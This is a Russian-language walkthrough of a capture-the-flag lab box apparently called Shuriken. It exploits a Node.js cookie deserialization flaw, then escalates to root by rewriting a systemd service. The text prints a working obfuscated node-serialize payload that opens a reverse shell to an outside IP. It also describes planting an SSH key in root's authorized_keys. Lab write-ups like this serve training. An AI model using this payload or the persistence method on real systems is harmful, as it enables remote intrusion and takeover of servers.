Это супер фантастическая коробка, созданная TheCyb3rW0lf. После последнего нарушения The Shuriken Company решила переехать и восстановить свою инфраструктуру. На этот раз с использованием другой технологии и с заверением нас, что это будет безопасно. Будет ли это так? В ваших силах доказать обратное.

Как всегда, я сначала закрутил nmap.

На приведенном выше снимке экрана мы можем отметить открытые порты, 22 и 8080. 22 — это SSH, а 8080 запускает приложение node. Затем я начал со сканирования сценария nmap по умолчанию.

Затем я перешел к просмотру веб-страницы.

Веб-страница статична, на ней нет никаких ссылок при нажатии на это название страниц, но что действительно привлекло мое внимание, так это Добро пожаловать, Гость. Я начал задаваться вопросом, как он аутентифицирует меня как гостя. Во-первых, я обратил внимание на файлы cookie, веб-страница по умолчанию использует гостевой файл cookie каждый раз, когда пользователь посещает ее. Веб-страница использует jwt для создания файла cookie.

Я попытался расшифровать этот файл cookie и получил это.

Я изменил свое имя пользователя, используя кодировщик base64.

Мы можем установить значения имени пользователя, поэтому я подумал, что стоит попробовать SSTI, я начал пробовать базовую полезную нагрузку внедрения, например ${7*7}.

Казалось, что это не работает, веб-приложение очищает плохие символы. Затем я какое-то время предположил, что это декодирование файла cookie base64, поэтому я попробовал только полезную нагрузку, я удалил все, кроме моей базовой полезной нагрузки.

Я поменял свой файл cookie и получил ошибку.

На первый взгляд вам может показаться, что вы терпите неудачу, но помните, что одна ошибка говорит о многих вещах, которые действительно могут вам помочь. Если вы видите третью строку ошибки, вы заметите, что она сериализует и десериализует объект cookie.

 at Object.exports.unserialize (/home/web/shuriken-node/node_modules/node-serialize/lib/serialize.js:62:16)

Я был очень счастлив и, наконец, пошел в Google, чтобы найти способ использовать эту сериализацию.



Этот POC идеален. Не забудьте загрузить этот скрипт Python для создания полезной нагрузки. https://github.com/ajinabraham/Node.Js-Security-Course/blob/master/nodejsshell.py

И это не так, вы должны поместить эту полезную нагрузку в объект, подобный этому, и преобразовать его в base64.

{"rce":"_$$ND_FUNC$$_function (){eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,57,50,46,49,54,56,46,52,50,46,49,55,49,34,59,10,80,79,82,84,61,34,52,52,52,52,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))
}()"}

Возьмите строку в кодировке base64 и замените файл cookie на нее и не забудьте запустить прослушиватель nc на вашем локальном компьютере.

Хорошо, теперь у нас есть оболочка, и давайте начнем с перечисления всей системы. Итак, во-первых, я пошел проверить, есть ли доступные файлы резервных копий.

Мы можем заметить, что есть passwd.bak и shadow.bak вместе с ssh-backup.zip. К сожалению, пароль и теневой файл не читаются пользователем, у которого есть оболочка. Итак, я скопировал этот ssh-backup.zip в каталог /tmp и разархивировал его.

У нас есть закрытые ключи пользователя serv-adm, то есть другого пользователя на коробке. Нам нужно получить ключ фразы-пароля, что мы можем сделать с помощью ss2john.py, давайте сделаем это.

Ура! У нас есть парольная фраза, теперь мы можем войти в систему как пользователь serv-adm с закрытыми ключами.

Я проверил, могу ли я запустить что-нибудь как root, я набрал sudo -l.

Мы можем запускать, останавливать и перезагружать этот сервис. Теперь нам нужно найти это в системе.

Мы можем легко найти файлы, используя команду find в Linux.

Если мы увидим все таймеры в системе, то получим следующее.

Он запускает shuriken-job.service, мы можем найти его с помощью команды find. К сожалению, мне как-то не удалось получить шелл через bash, поэтому я решил сгенерировать id_rsa.pub в каталоге .ssh/.

Затем я изменил файл shuriken-job.service, во-первых, он создаст каталог .ssh/ в /root, если он не существует, а если он существует, то он загрузит id_rsa.pub с моего веб-сервера и выведет его в .ssh / авторизованные_ключи. Я уже настроил свой веб-сервер python3.

Выполнив все эти действия, я остановился, перезагрузил и снова запустил эту службу.

На самом деле, когда я запустил команду запуска, она ударила по моему веб-серверу.

В тот момент я предположил, что он был загружен в /root/.ssh/, поэтому я попытался войти в систему по ssh, и мы успешно рутировали коробку.

Сделанный! Эта коробка была действительно потрясающей и головной болью, я трачу много часов, чтобы понять веб-технологии, не забывайте о подсказке: узнайте, какие технологии использует Интернет и как он обрабатывает пользовательский ввод.

Спасибо за чтение.

Удачного взлома!